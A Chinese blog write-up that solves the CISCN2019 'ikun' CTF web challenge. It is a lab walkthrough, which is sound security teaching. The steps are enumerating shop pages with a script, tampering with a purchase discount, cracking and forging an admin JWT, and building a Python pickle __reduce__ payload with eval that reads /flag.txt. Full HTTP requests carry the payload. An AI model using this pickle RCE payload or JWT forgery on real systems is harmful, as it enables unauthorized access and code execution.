[CISCN2019 华北赛区 Day1 Web2]ikun

最后更新于 2024-07-13 1202 字 预计阅读时间: 5 分钟


先进行注册和登录,网站提示找lv6写脚本寻找

import requests
for x in range(1000):
    url=f"http://9f3aa0ec-33c3-4af7-b9a9-9eef2452fac9.node5.buuoj.cn:81/shop?page={x}"
    rep=requests.get(url)
    print(rep.status_code)
    if "lv6.png" in rep.text:
        print(url)
        break

发现lv6位于page=181点击购买分析流量包

POST /shopcar HTTP/1.1
Host: 2e24a864-0f57-496f-a3ac-50257f0ea82f.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://2e24a864-0f57-496f-a3ac-50257f0ea82f.node5.buuoj.cn:81
Connection: close
Referer: http://2e24a864-0f57-496f-a3ac-50257f0ea82f.node5.buuoj.cn:81/shopcar
Cookie: _xsrf=2|281a6dc6|8942e8cbd8cb435e8182de7568b2979c|1720773078; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InlsbmUifQ.4iaeivsm1xXAodiYNUsyVdylSLmnXpsUSqwarlgSEfI; commodity_id="2|1:0|10:1720775476|12:commodity_id|8:MTYyNA==|260feccc11f5eaed0d7c80132cf7a0d2717050b3476742389c21444c23e4c208"
Upgrade-Insecure-Requests: 1

_xsrf=2%7C70a6c276%7Cd1fe477b8077eceed93e71c5300e382c%7C1720773078&id=1624&price=1145141919.0&discount=0.8
发现可以通过修改price会报错,故修改discount为0.00000001来购买lv6,提交数据包网页返回只允许admin访问

注意到有jwt在线解析一下发现身份验证信息为我们注册的用户名但是需要密钥才能对jwt进行修改,爆破密钥

用jwt-cracker进行爆破,给出链接:https://github.com/brendan-rius/c-jwt-cracker,得出密钥对jwt进行修改得到伪造的jwt:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

抓包修改jwt进入页面查看其源码发现有网站源码,分析源码。发现在admin.py中存在接受become变量的pickle反序列化操作

关于python的类和反序列化不怎么熟悉,查询资料后得出

python的类访问控制:python的类属性和方法可以通过加下划线来进行权限的控制,在属性或者方法前加两个下划线表示该方法或者属性为私有(private)属性与c++类似,当外部访问私有成员时会报错显示AttributeError: 'A' object has no attribute '__pri'. Did you mean: '_A__pri'?,当我们用类中属性进行访问是可以得到回显,根据提示我们可以在a后加上_A__pri得以访问该属性

class A(object):
        self.pubilc = "a"
        self.__pri = "b"
    def func(self):
        print('func_print:'+self.__pri)
a=A()
print("a.pubilc:"+a.pubilc)
a.func()
print("a._A__pri:"+a._A__pri)
print(a.__pri)

python的pickle序列化与反序列化主要分为以下四种命令

pickle.dumps
#以字节对象形式返回封装的对象
pickle.dump
#以字节对象形式返回封装的对象,写入文件中
pickle.loads
# 从字节对象中读取被封装的对象,会自动将要导入的库自动导入,造成RCE
pickle.load
# 从文件读取字节对象并读取被封装的对象

__reduce__方法是反序列化的重要方法,和php的wakeup方法一样,在对象反序列化时调用,当__reduce__函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组,该反序列化与php不同,php需要有类的存在才能将字节对象流进行反序列化成该类,序列化后的只保留类的属性,不保留其方法,python则是不需要存在该类即可完成对字节对象流进行反序列化,因为python的序列化字符串存在该类的方法和属性。这与PVM有关,先挖个坑以后再填。

import  pickle
from urllib.parse import quote
class A(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt','r').read()",))

a=A()
p_a= pickle.dumps(a,protocol=0)
b=quote(p_a)
print(b)

python2和python3的pickle使用的协议不同造成反序列化后的结果不同,因此指定协议为0即protocol=0,exp的到payload:c__builtin__%0Aeval%0Ap0%0A%28Vopen%28%27/flag.txt%27%2C%27r%27%29.read%28%29%0Ap1%0Atp2%0ARp3%0A.

写入become变量成功拿到flag

POST /b1g_m4mber HTTP/1.1
Host: d90a0914-5369-4012-bcd3-c2d1595e20f4.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://d90a0914-5369-4012-bcd3-c2d1595e20f4.node5.buuoj.cn:81
Connection: close
Referer: http://d90a0914-5369-4012-bcd3-c2d1595e20f4.node5.buuoj.cn:81/b1g_m4mber
Cookie: _xsrf=2|cf828eb8|593447d655944071cd317cebfc094ed2|1720806172; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InlsbmUifQ.4iaeivsm1xXAodiYNUsyVdylSLmnXpsUSqwarlgSEfI; commodity_id="2|1:0|10:1720806208|12:commodity_id|8:MTYyNA==|cdb72a457a4fd7b57f0adb40c7d681ef5441653d5bd96d919a59be24a6416407"
Upgrade-Insecure-Requests: 1

_xsrf=2%7C4e317231%7Cd887bb5fd427bcf84c8280627dbab25b%7C1720806172&become=c__builtin__%0Aeval%0Ap0%0A%28Vopen%28%27/flag.txt%27%2C%27r%27%29.read%28%29%0Ap1%0Atp2%0ARp3%0A

存在的问题:

1.怎么知道要用python2的pickle版本协议来进行反序列化操作

参考文章

https://blog.csdn.net/2201_75641637/article/details/129467576

https://wenku.csdn.net/column/6xfjpj0h8j

https://www.freebuf.com/articles/web/252189.html

此作者没有提供个人介绍。
最后更新于 2024-07-13